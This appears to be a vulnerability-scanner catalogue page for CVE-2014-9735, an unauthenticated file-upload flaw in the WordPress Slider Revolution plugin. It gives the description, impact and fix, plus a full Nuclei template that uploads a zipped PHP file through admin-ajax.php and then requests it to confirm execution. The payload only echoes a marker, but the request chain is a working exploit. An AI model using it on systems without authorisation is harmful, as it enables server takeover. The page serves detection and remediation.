WordPress RevSlider - Remote Code Execution via File Upload

highseverity

7.5CVSS score

75.6%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

The ThemePunch Slider Revolution (revslider) plugin before 3.0.96 for WordPress and Showbiz Pro plugin 1.7.1 and earlier for Wordpress does not properly restrict access to administrator AJAX functionality, which allows remote attackers to (1) upload and execute arbitrary files via an update_plugin action; (2) delete arbitrary sliders via a delete_slider action; and (3) create, (4) update, (5) import, or (6) export arbitrary sliders via unspecified vectors.

Impact

Unauthenticated attackers can upload and execute arbitrary PHP files, leading to complete server compromise, data theft, and potential lateral movement within the network.

Fix

Update to Slider Revolution version 3.0.96 or later, or remove the plugin if not in use.

How to confirm it

Send: POST /wp-admin/admin-ajax.php
Positive when: contains_all(body, "Update in progress...","wp-admin/admin.php?page=revslider&view=sliders") and status_code == 200
Send: GET /wp-content/plugins/revslider/temp/update_extract/{{filename}}.php
Positive when: contains(body, "{{marker}}") and status_code == 200

Run it with nuclei: nuclei -id CVE-2014-9735 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2014-9735

info:
  name: WordPress RevSlider - Remote Code Execution via File Upload
  author: iamnoooob,pdresearch
  severity: high
  description: |
    The ThemePunch Slider Revolution (revslider) plugin before 3.0.96 for WordPress and Showbiz Pro plugin 1.7.1 and earlier for Wordpress does not properly restrict access to administrator AJAX functionality, which allows remote attackers to (1) upload and execute arbitrary files via an update_plugin action; (2) delete arbitrary sliders via a delete_slider action; and (3) create, (4) update, (5) import, or (6) export arbitrary sliders via unspecified vectors.
  impact: |
    Unauthenticated attackers can upload and execute arbitrary PHP files, leading to complete server compromise, data theft, and potential lateral movement within the network.
  remediation: |
    Update to Slider Revolution version 3.0.96 or later, or remove the plugin if not in use.
  reference:
    - https://whatisgon.wordpress.com/2014/11/30/another-revslider-vulnerability/
    - https://nvd.nist.gov/vuln/detail/CVE-2014-9735
    - https://www.exploit-db.com/exploits/35385
    - https://wpvulndb.com/vulnerabilities/7954
    - https://plugins.trac.wordpress.org/browser/patch-for-revolution-slider/trunk/revsliderpatch.php
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2014-9735
    cwe-id: CWE-264
    epss-score: 0.75558
    epss-percentile: 0.99521
    cpe: cpe:2.3:a:themepunch:showbiz_pro:*:*:*:*:*:wordpress:*:*
  metadata:
    vendor: themepunch
    product: showbiz_pro
    framework: wordpress
  tags: cve,cve2014,wordpress,revslider,fileupload,rce,plugin,wp,unauth,intrusive,vkev,vuln

variables:
  marker: "{{randstr}}"
  b64marker: "{{base64(marker)}}"
  filename: "{{rand_base(5)}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        X-Requested-With: XMLHttpRequest
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryWJDMjlXCUnC1rnZg

        ------WebKitFormBoundaryWJDMjlXCUnC1rnZg
        Content-Disposition: form-data; name="action"

        revslider_ajax_action
        ------WebKitFormBoundaryWJDMjlXCUnC1rnZg
        Content-Disposition: form-data; name="client_action"

        update_plugin
        ------WebKitFormBoundaryWJDMjlXCUnC1rnZg
        Content-Disposition: form-data; name="update_file"; filename="{{filename}}.zip"
        Content-Type: application/zip

        {{zip('{{filename}}.php','<?php echo base64_decode(\'{{b64marker}}\'); ?>')}}
        ------WebKitFormBoundaryWJDMjlXCUnC1rnZg--

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "Update in progress...","wp-admin/admin.php?page=revslider&view=sliders")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-content/plugins/revslider/temp/update_extract/{{filename}}.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "{{marker}}")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from